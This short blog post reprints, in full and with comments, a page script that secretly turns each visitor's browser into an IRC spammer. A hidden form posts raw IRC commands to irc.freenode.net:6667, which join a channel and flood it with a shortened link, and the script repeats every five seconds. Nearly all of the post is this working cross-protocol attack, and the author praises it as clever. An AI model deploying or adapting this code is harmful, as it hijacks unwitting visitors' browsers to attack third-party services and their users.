Spam IRC with Javascript
Posted | archive
<form method="post" target="y" action="http://irc.freenode.net:6667/" enctype="text/plain" id="f" style="display:none">
<textarea name="x" id="x"></textarea>
</form>
<script type="text/javascript">
/*
* Generate a random string of characters to use for an IRC nick
*/
function rnd(){
var chars="abcdefghijklmnopqrstuvwxyz";
var r='';
var length=Math.floor(Math.random()*10+3);
for (var i=0;i<length;i++){
var rnum=Math.floor(Math.random() * chars.length);
r += chars.substring(rnum, rnum+1);
}
return r;
}
function lol(){
/* Grab a reference to the textarea */
var x = document.getElementById('x');
/* Grab a reference to the form itself */
var f = document.getElementById('f');
/* Generate a fake user-name */
var i = rnd();
/* Generate a fake nick */
var n = rnd();
/*
* Build a series of IRC commands into a string:
* - Set the username
* - Set the nick
* - Join the channel to spam (#redditdowntime)
* - Queue up a bunch of PRIVMSG commands to the channel with the spam link
*/
x.value='\r\nUSER '+i+' 8 * :'+n+'\r\nNICK '+n+'\r\nJOIN #redditdowntime\r\n'+new Array(99).join('PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n')+'';
/* Submit the form, effectively sending the textarea contents to an IRC server */
f.submit();
/* Setup a loop for maximum irritation */
setTimeout(lol, 5000);
}
lol();
</script>
<h1>DIGG ROOLZ! REDDIT DROOLZ!</h1>
This is the most clever bits of JavaScript I think I’ve seen in recent months.
Comments